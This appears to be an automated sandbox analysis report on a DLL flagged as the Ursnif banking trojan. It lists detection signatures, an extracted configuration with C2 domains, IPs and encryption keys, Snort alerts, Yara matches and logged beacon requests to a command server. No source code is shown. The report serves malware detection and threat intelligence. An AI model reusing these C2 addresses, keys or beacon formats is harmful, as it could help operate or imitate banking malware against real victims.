Windows Analysis Report
lokvQRcUe0

Overview

General Information

Sample Name: lokvQRcUe0 (renamed file extension from none to dll)
Analysis ID: 634419
MD5: 5de5e3440620950f0be99fc6728c7afe
SHA1: 43cbdfe6773ce518847b89f177a555e6bece283b
SHA256: 2d83e172a42b032b32606b203f2a1a9736acfd86e76ede8ff57b3292c035d139
Tags: dllgozi_ifsb
Infos:

Detection

Ursnif
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Self deletion via cmd delete
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
One or more processes crash
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Found malware configuration
Source: 00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmp Malware Configuration Extractor: Ursnif {"RSA Public Key": "WNd6IZBAE2hic5I1vBvTbN5vraX26aprGyHDrt/+eglFMVKwHFISXmgegfDVQ9JN9IUBekU+LfpLvYZv7zcwNdRn5M8aw4eWI4bhXGfXhg2rVYeSiUnG1MC8lOzPSzU/SYBFMQ3nL+vB66ov2XPPmoP4rSDS0CC6n6OlCY+w5hwtLwivxH53vqcLh3WTh2ZNXxBC6Zc4STr3Ek0KlqqVtSr6/5fGwBuo8VUIBdXBWxDjxcGYyua+/PQsbUFFnwV7HET72C1unl+X1RemGW2bFwrlyX4Q85gTacSXgMufXChh3wAcaiq0qhw5JwdEPrdIO+t+/C9wfw4K/YIRIDiXpoorOLszNh6osFoQvZIrAl8=", "c2_domain": ["cabrioxmdes.at", "gamexperts.net", "37.10.71.138", "185.158.250.51"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
Multi AV Scanner detection for submitted file
Source: lokvQRcUe0.dll ReversingLabs: Detection: 48%
Antivirus detection for URL or domain
Source: http://176.10.119.68/drew/6MD_2BLHj/Wwe7k6B1I0SM4estiKA8/spcFGasNn3hHiGKNKAO/_2B1ah_2BmpCz0i3Swrw7w/ Avira URL Cloud: Label: phishing
Source: http://176.10.119.68/drew/6MD_2BLHj/Wwe7k6B1I0SM4estiKA8/spcFGasNn3hHiGKNKAO/_2B1ah_2BmpCz0i3Swrw7w/_2FmDlfehB0OE/55WbV2nc/Y1h6ZuuUoh7qBwh_2BKlp0h/7L71gn0m4N/M3O3_2Bd4FYKhYEVp/A8X6IhSGaeKc/I6s_2F23qvp/A182DdgYpCpMIP/aP_2Bjsdht_2BJDxnVcIh/PpumD61sg3b7UjUn/NBCGMFNbIjiYANW/kV_2FL6Gv2Uv63EZQh/O7ekDFjPj/xu59b1S5vDi1BLf/OCWp.jlk Avira URL Cloud: Label: phishing
Source: http://176.10.119.68/drew/TXnzVImnT660oDz/yMOCYK8RDAglTpu9ac/GwxTcb_2B/tHjr3EGRXu7rtpqrdyIg/MBYax8JZ Avira URL Cloud: Label: phishing
Source: http://176.10.119.68/drew/8_2BLR3ULj9eEHGwEQ4wR/XNnJzaTlQzupEc1E/13YAC3A_2FwsRXQ/gU_2FKH8C0dGIfymyx/ocdHPIhqa/Hd8nJGo602uQ7riR5fk1/MgjZVgxWOeylhsm3UIe/ODtnBqntkfEzg6CGz22IMX/BqT5RhbEJCnRP/ZVkWQu9C/sR0fuByflYkig33702ZG3_2/FhdyARm9Lc/m4Hi2C6HqRM3XSnPm/LWaA4HaxDqj7/QbfVKFZGMWq/c7MJSNfi8K7i7w/7kd2UCa_2BF/87zDgqk.jlk Avira URL Cloud: Label: phishing
Source: http://176.10.119.68/drew/TXnzVImnT660oDz/yMOCYK8RDAglTpu9ac/GwxTcb_2B/tHjr3EGRXu7rtpqrdyIg/MBYax8JZESMvd_2FR_2/FFgtmhXbR0ktwUdCXR2Pki/d8dU8ADU_2BI_/2BU31aFd/LiJXzwK_2BCmcWBI_2FSoW9/MydpZhmci7/DHFwznBk9lsaelX7d/OI_2F8mRA8r8/Ql7ZjpWXuIe/emON9m2OO9PUY_/2BZvNnjbqlcKSvSy4k903/VSDqqfhLnxG6SlxI/F80QTh1QnWNOnio/sWTgXKrMs/py.jlk Avira URL Cloud: Label: phishing
Source: http://176.10.119.68/drew/8_2BLR3ULj9eEHGwEQ4wR/XNnJzaTlQzupEc1E/13YAC3A_2FwsRXQ/gU_2FKH8C0dGIfymyx/ Avira URL Cloud: Label: phishing
Machine Learning detection for sample
Source: lokvQRcUe0.dll Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A15FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 2_2_04A15FBB
Uses 32bit PE files
Source: lokvQRcUe0.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Source: Binary string: uwGXyM.pdb source: loaddll32.exe, 00000000.00000000.249261559.000000000040D000.00000002.00000001.01000000.00000003.sdmp, lokvQRcUe0.dll
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000002.00000003.403089755.00000000063E0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.396843760.0000000006330000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000002.00000003.403089755.00000000063E0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.396843760.0000000006330000.00000004.00001000.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F665C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 2_2_04F665C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F699BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 2_2_04F699BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F7BAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 2_2_04F7BAD1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F6FD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 2_2_04F6FD47

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 176.10.119.68 80 Jump to behavior
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49743 -> 13.107.42.16:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49752 -> 176.10.119.68:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49752 -> 176.10.119.68:80
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-SOFTPLUSCH AS-SOFTPLUSCH
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /drew/8_2BLR3ULj9eEHGwEQ4wR/XNnJzaTlQzupEc1E/13YAC3A_2FwsRXQ/gU_2FKH8C0dGIfymyx/ocdHPIhqa/Hd8nJGo602uQ7riR5fk1/MgjZVgxWOeylhsm3UIe/ODtnBqntkfEzg6CGz22IMX/BqT5RhbEJCnRP/ZVkWQu9C/sR0fuByflYkig33702ZG3_2/FhdyARm9Lc/m4Hi2C6HqRM3XSnPm/LWaA4HaxDqj7/QbfVKFZGMWq/c7MJSNfi8K7i7w/7kd2UCa_2BF/87zDgqk.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/6MD_2BLHj/Wwe7k6B1I0SM4estiKA8/spcFGasNn3hHiGKNKAO/_2B1ah_2BmpCz0i3Swrw7w/_2FmDlfehB0OE/55WbV2nc/Y1h6ZuuUoh7qBwh_2BKlp0h/7L71gn0m4N/M3O3_2Bd4FYKhYEVp/A8X6IhSGaeKc/I6s_2F23qvp/A182DdgYpCpMIP/aP_2Bjsdht_2BJDxnVcIh/PpumD61sg3b7UjUn/NBCGMFNbIjiYANW/kV_2FL6Gv2Uv63EZQh/O7ekDFjPj/xu59b1S5vDi1BLf/OCWp.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/TXnzVImnT660oDz/yMOCYK8RDAglTpu9ac/GwxTcb_2B/tHjr3EGRXu7rtpqrdyIg/MBYax8JZESMvd_2FR_2/FFgtmhXbR0ktwUdCXR2Pki/d8dU8ADU_2BI_/2BU31aFd/LiJXzwK_2BCmcWBI_2FSoW9/MydpZhmci7/DHFwznBk9lsaelX7d/OI_2F8mRA8r8/Ql7ZjpWXuIe/emON9m2OO9PUY_/2BZvNnjbqlcKSvSy4k903/VSDqqfhLnxG6SlxI/F80QTh1QnWNOnio/sWTgXKrMs/py.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache
Source: rundll32.exe, 00000002.00000002.453564071.000000000313A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.10.119.68/drew/6MD_2BLHj/Wwe7k6B1I0SM4estiKA8/spcFGasNn3hHiGKNKAO/_2B1ah_2BmpCz0i3Swrw7w/
Source: rundll32.exe, 00000002.00000002.453750013.0000000003197000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000002.453564071.000000000313A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.10.119.68/drew/8_2BLR3ULj9eEHGwEQ4wR/XNnJzaTlQzupEc1E/13YAC3A_2FwsRXQ/gU_2FKH8C0dGIfymyx/
Source: rundll32.exe, 00000002.00000002.453750013.0000000003197000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000002.453564071.000000000313A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.10.119.68/drew/TXnzVImnT660oDz/yMOCYK8RDAglTpu9ac/GwxTcb_2B/tHjr3EGRXu7rtpqrdyIg/MBYax8JZ
Source: rundll32.exe, 00000002.00000002.453564071.000000000313A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://config.edge.skype.com/drew/IYp4CCs722tF8/P1aXeQdj/KbUVHJxkmyFlZHZ2qCybZpu/FgU09Slqdm/iq8FwKnV
Source: rundll32.exe, 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txt
Source: rundll32.exe, 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: rundll32.exe, 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: explorer.exe, 00000025.00000000.451810550.000000000DA9A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000000.439575286.000000000DA70000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000000.422484159.000000000DA70000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.mi
Source: explorer.exe, 00000025.00000000.451810550.000000000DA9A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000000.439575286.000000000DA70000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000000.422484159.000000000DA70000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.micr
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A11CA5 ResetEvent,ResetEvent,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError, 2_2_04A11CA5
Source: global traffic HTTP traffic detected: GET /drew/8_2BLR3ULj9eEHGwEQ4wR/XNnJzaTlQzupEc1E/13YAC3A_2FwsRXQ/gU_2FKH8C0dGIfymyx/ocdHPIhqa/Hd8nJGo602uQ7riR5fk1/MgjZVgxWOeylhsm3UIe/ODtnBqntkfEzg6CGz22IMX/BqT5RhbEJCnRP/ZVkWQu9C/sR0fuByflYkig33702ZG3_2/FhdyARm9Lc/m4Hi2C6HqRM3XSnPm/LWaA4HaxDqj7/QbfVKFZGMWq/c7MJSNfi8K7i7w/7kd2UCa_2BF/87zDgqk.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/6MD_2BLHj/Wwe7k6B1I0SM4estiKA8/spcFGasNn3hHiGKNKAO/_2B1ah_2BmpCz0i3Swrw7w/_2FmDlfehB0OE/55WbV2nc/Y1h6ZuuUoh7qBwh_2BKlp0h/7L71gn0m4N/M3O3_2Bd4FYKhYEVp/A8X6IhSGaeKc/I6s_2F23qvp/A182DdgYpCpMIP/aP_2Bjsdht_2BJDxnVcIh/PpumD61sg3b7UjUn/NBCGMFNbIjiYANW/kV_2FL6Gv2Uv63EZQh/O7ekDFjPj/xu59b1S5vDi1BLf/OCWp.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/TXnzVImnT660oDz/yMOCYK8RDAglTpu9ac/GwxTcb_2B/tHjr3EGRXu7rtpqrdyIg/MBYax8JZESMvd_2FR_2/FFgtmhXbR0ktwUdCXR2Pki/d8dU8ADU_2BI_/2BU31aFd/LiJXzwK_2BCmcWBI_2FSoW9/MydpZhmci7/DHFwznBk9lsaelX7d/OI_2F8mRA8r8/Ql7ZjpWXuIe/emON9m2OO9PUY_/2BZvNnjbqlcKSvSy4k903/VSDqqfhLnxG6SlxI/F80QTh1QnWNOnio/sWTgXKrMs/py.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 176.10.119.68Connection: Keep-AliveCache-Control: no-cache

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected Ursnif
Source: Yara match File source: 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294681357.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294564948.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294395671.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294731571.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.338694096.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294789206.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339835630.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294648025.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294608365.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294468322.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.340707199.000000000533C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6380, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 2388, type: MEMORYSTR
Source: Yara match File source: 2.3.rundll32.exe.4d994a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d994a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.rundll32.exe.4a10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.543a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.54e6b48.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.54b94a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.543a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000002.454256752.00000000051BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339689659.000000000543A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.406864821.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.405146209.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.404521640.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339724690.00000000054B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.452738390.0000000004D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

E-Banking Fraud
barindex
Yara detected Ursnif
Source: Yara match File source: 00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294681357.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294564948.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.408736097.0000000006318000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.407678456.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294395671.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.407599329.0000016547E1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294731571.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.338694096.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294789206.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000003.402164003.000002456F5AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339835630.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294648025.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294608365.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.294468322.0000000005538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.340707199.000000000533C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6380, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 2388, type: MEMORYSTR
Source: Yara match File source: 2.3.rundll32.exe.4d994a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d994a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.rundll32.exe.4a10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.543a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.54e6b48.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.54b94a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.543a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000002.454256752.00000000051BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339689659.000000000543A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.406864821.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.405146209.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.404521640.0000000000DA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.339724690.00000000054B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.452738390.0000000004D99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Disables SPDY (HTTP compression, likely to perform web injects)
Source: C:\Windows\explorer.exe Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A15FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 2_2_04A15FBB

System Summary
barindex
Writes registry values via WMI
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Uses 32bit PE files
Source: lokvQRcUe0.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
One or more processes crash
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6352 -s 272
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A1829C 2_2_04A1829C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A11645 2_2_04A11645
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04A14BF1 2_2_04A14BF1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F83DB0 2_2_04F83DB0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F7154D 2_2_04F7154D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F7D7F1 2_2_04F7D7F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F667CA 2_2_04F667CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F7FF4D 2_2_04F7FF4D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F6B238 2_2_04F6B238
Source: C:\Windows\System32\control.exe Code function: 34_2_00DAB4B8 34_2_00DAB4B8
Source: C:\Windows\System32\control.exe Code function: 34_2_00DAEEF8 34_2_00DAEEF8
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA9660 34_2_00DA9660
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC98A8 34_2_00DC98A8
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC80A8 34_2_00DC80A8
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC7850 34_2_00DC7850
Source: C:\Windows\System32\control.exe Code function: 34_2_00DB1864 34_2_00DB1864
Source: C:\Windows\System32\control.exe Code function: 34_2_00DB2830 34_2_00DB2830
Source: C:\Windows\System32\control.exe Code function: 34_2_00DBB9E0 34_2_00DBB9E0
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC51A8 34_2_00DC51A8
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA716C 34_2_00DA716C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA5110 34_2_00DA5110
Source: C:\Windows\System32\control.exe Code function: 34_2_00DA410C 34_2_00DA410C
Source: C:\Windows\System32\control.exe Code function: 34_2_00DBE120 34_2_00DBE120
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC2AD8 34_2_00DC2AD8
Source: C:\Windows\System32\control.exe Code function: 34_2_00DC8AC0 34_2_00DC8AC0
